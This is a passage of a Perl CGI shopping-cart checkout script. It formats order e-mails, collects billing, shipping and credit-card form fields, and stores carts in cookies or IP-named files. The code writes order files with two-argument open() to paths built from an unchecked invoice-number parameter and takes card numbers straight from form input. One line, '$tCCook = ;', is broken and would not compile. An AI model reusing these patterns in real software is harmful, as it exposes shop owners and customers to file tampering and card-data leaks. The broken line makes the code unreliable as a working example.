$kOrdersPath."/order-$orderNum.txt"; open(LOCALFILE, ">$filename"); print( LOCALFILE $orderFile ); close( LOCALFILE ); } } # =========================================================================== # sub Prepare_Email_Item() { ($nItem) = @_; ( $myNum, $myName, $myQuant, $myCol, $mySize, $myPrice, $myRedir, $myPic, $myShip, $myWeight, $myHasTax, $myC1, $myC2, $myC3 ) = split(/\|/, $nItem); $updAmt = $myQuant*$myPrice; if( $kCheckCalcItemShip eq "true" ) { $updAmt += $myShip*$myQuant; } $total += $updAmt; if( $myHasTax ne 'false' and $myHasTax ne 'no' ) { $tTax += ( ( $taxAmt/100 ) * $updAmt ); } if( $kBasketCalcDecimal eq "true" ) { $myShip = sprintf( "%.2f", $myShip ); $updAmt = sprintf( "%.2f", $updAmt ); $total = sprintf( "%.2f", $total ); $myPrice = sprintf( "%.2f", $myPrice ); } $descHTML = ''; if( $kBasketShowPName eq "true" ) { $itemEmailText .= "\n $myName"; } if( $kBasketShowPCode eq "true" and $myNum ne '' ) { $itemEmailText .= "\n $kLangPCode: $myNum"; } if( $kBasketShowPColor eq "true" and $myColor ne '' ) { $itemEmailText .= "\n $kLangPColor: $myCol"; } if( $kBasketShowPSize eq "true" and $mySize ne '' ) { $itemEmailText .= "\n $kLangPSize: $mySize"; } if( $kBasketShowPShip eq "true" and $myShip ne '' and $myShip ne '0.00' and $myShip ne '0' ) { $itemEmailText .= "\n $kLangPShip: $myShip"; } if( $kBasketShowPWeight eq "true" and $myWeight ne '' ) { $itemEmailText .= "\n $kLangPWeight: $myWeight $kBasketWeightLabel"; } if( $kBasketShowPTaxable eq "true" and $myHasTax ne '' ) { $itemEmailText .= "\n $kLangPTaxable: $myHasTax"; } if( $kBasketShowPC1 eq "true" and $myC1 ne '' ) { $itemEmailText .= "\n $kLangPC1: $myC1"; } if( $kBasketShowPC2 eq "true" and $myC2 ne '' ) { $itemEmailText .= "\n $kLangPC2: $myC2"; } if( $kBasketShowPC3 eq "true" and $myC3 ne '' ) { $itemEmailText .= "\n $kLangPC3: $myC3"; } if( $kBasketShowPUPrice eq "true" ) { $itemEmailText .= "\n $kLangPUPrice: $kBasketCurrencyLabel$myPrice"; } $itemEmailText .= "\n $kLangTopQty: $myQuant"; $itemEmailText .= "\n $kLangTopSubtotal: $kBasketCurrencyLabel$updAmt\n"; } # =========================================================================== # sub Prepare_Checkout_Fields() { $orderComments=$q->param('x_Add_Comments'); $custIP=$q->param('x_IP'); $cardType = $q->param('x_Card_Type'); $cardNum = $q->param('x_Card_Num'); $expDate = $q->param('x_Exp_Date'); $payMethod = $q->param('x_Pay_Method'); $taxAmt = $q->param( "x_Cart_Tax" ); $tDate = &Return_Today_Date(); ( $shipAmount, $shipName ) = split( /,/, $q->param( "x_Cart_Ship" ) ); if( $kBasketCalcDecimal eq 'true' ) { $shipAmount = sprintf( "%.2f", $shipAmount ); } if( $kCheckCCProcessorID eq "AUTHORIZENET" and $payMethod eq "cc" ) { $cart = $q->param( 'x_Cart_Cookie' ); $orderNum = $q->param( 'x_invoice_num' ); $responseCode = $q->param( 'x_response_code' ); $custName = $q->param( 'x_first_name' )." ".$q->param( 'x_last_name' ); $custEmail = $q->param( 'x_email' ); $billAddress=$q->param('x_address');$billCity=$q->param('x_city');$billCompany=$q->param('x_company'); $billState=$q->param('x_state');$billZip=$q->param('x_zip');$billCountry=$q->param('x_country'); $billPhone=$q->param('x_phone');$billFax=$q->param('x_fax');$xAmount=$q->param('x_amount'); $shipFName=$q->param('x_ship_to_first_name');$shipLName=$q->param('x_ship_to_last_name'); $shipAddress=$q->param('x_ship_to_address');$shipCity=$q->param('x_ship_to_city');$shipCompany=$q->param('x_ship_to_company'); $shipState=$q->param('x_ship_to_state');$shipZip=$q->param('x_ship_to_zip');$shipCountry=$q->param('x_ship_to_country'); $shipPhone=$q->param('x_Ship_To_Phone');$shipFax=$q->param('x_Ship_To_Fax'); } else { $cart = &Fetch_Cookie(); $orderNum = $q->param( 'x_Invoice_Num' ); $custName = $q->param( 'x_First_Name' )." ".$q->param( 'x_Last_Name' ); $custEmail = $q->param( 'x_Email' ); $billAddress=$q->param('x_Address');$billCity=$q->param('x_City');$billCompany=$q->param('x_Company'); $billState=$q->param('x_State');$billZip=$q->param('x_Zip');$billCountry=$q->param('x_Country'); $billPhone=$q->param('x_Phone');$billFax=$q->param('x_Fax');$xAmount=$q->param('x_Amount'); $shipFName=$q->param('x_Ship_To_First_Name');$shipLName=$q->param('x_Ship_To_Last_Name'); $shipAddress=$q->param('x_Ship_To_Address');$shipCity=$q->param('x_Ship_To_City');$shipCompany=$q->param('x_Ship_To_Company'); $shipState=$q->param('x_Ship_To_State');$shipZip=$q->param('x_Ship_To_Zip');$shipCountry=$q->param('x_Ship_To_Country'); $shipPhone=$q->param('x_Ship_To_Phone');$shipFax=$q->param('x_Ship_To_Fax'); } } # =========================================================================== # sub Fetch_Cookie() { if( $kBasketUseCookies eq "true" ) { $tCookie = $q->cookie( -name => $kBasketCookieName ); } else { my $tFName = $kCartsPath.'/'.$ENV{'REMOTE_ADDR'}.'.txt'; open( CCOOK, $tFName ); $tCCook = ; close( CCOOK ); if( $tCCook ne '' ) { ( $tTime,$tCookie ) = split( /\%\%/, $tCCook ); } } return $tCookie; } # =========================================================================== # sub Write_Cookie() { ( $tCookNew ) = @_; if( $kBasketUseCookies eq "true" ) { $tcookie = $q->cookie( -name => $kBasketCookieName, -value => $tCookNew, -path => "/" ); print $q->header( -type => "text/html", -cookie => $tcookie ); } else { my $tFName = $kCartsPath."/".$ENV{'REMOTE_ADDR'}.".txt"; open(LOCALFILE, ">$tFName"); my $tTime = localtime; print( LOCALFILE $tTime."%%" ); print( LOCALFILE $tCookNew ); close( LOCALFILE ); print $q->header(); } } # =========================================================================== # sub Load_Settings() { require( './settings/basket-setup.pl' ); require( './settings/checkout-setup.pl' ); require( './settings/language-setup.pl' ); $kCartsPath = './usercarts'; $kHTMLPath = './html'; $kOrdersPath = './orders'; $cBackURL = '/sf/allcamels/'; $kMaxProdNum = 50; } # =========================================================================== # sub Return_Today_Date() { @months = (); push(@months,"Jan"); push(@months,"Feb"); push(@months,"Mar"); push(@months,"Apr"); push(@months,"May"); push(@months,"Jun"); push(@months,"Jul"); push(@months,"Aug"); push(@months,"Sep"); push(@months,"Oct"); push(@months,"Nov"); push(@months,"Dec"); @days = (); push(@days,"Sunday"); push(@days,"Monday"); push(@days,"Tuesday"); push(@days,"Wednesday"); push(@days,"Thursday"); push(@days,"Friday"); push(@days,"Saturday"); ($sec,$min,$hour,$day,$month,$year,$day2) = (localtime(time))[0,1,2,3,4,5,6]; $ampm = "am"; if ($sec < 10) { $sec = "0$sec"; } if ($min < 10) { $min = "0$min"; } if ($hour < 10) { $hour = "0$hour"; } $year += "1900"; if( $hour > 12 ) { $hour -= 12; $ampm="pm"; } $thisDate = "$months[$month] $day, $year"; return $thisDate; } # =========================================================================== #